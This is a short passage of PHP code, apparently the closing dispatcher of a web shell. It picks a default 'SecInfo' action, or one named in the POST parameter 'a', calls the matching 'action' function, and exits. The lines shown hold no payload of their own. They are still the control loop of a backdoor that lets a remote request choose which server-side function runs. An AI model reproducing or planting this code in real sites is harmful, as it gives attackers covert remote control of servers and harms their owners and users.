        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
exit;

```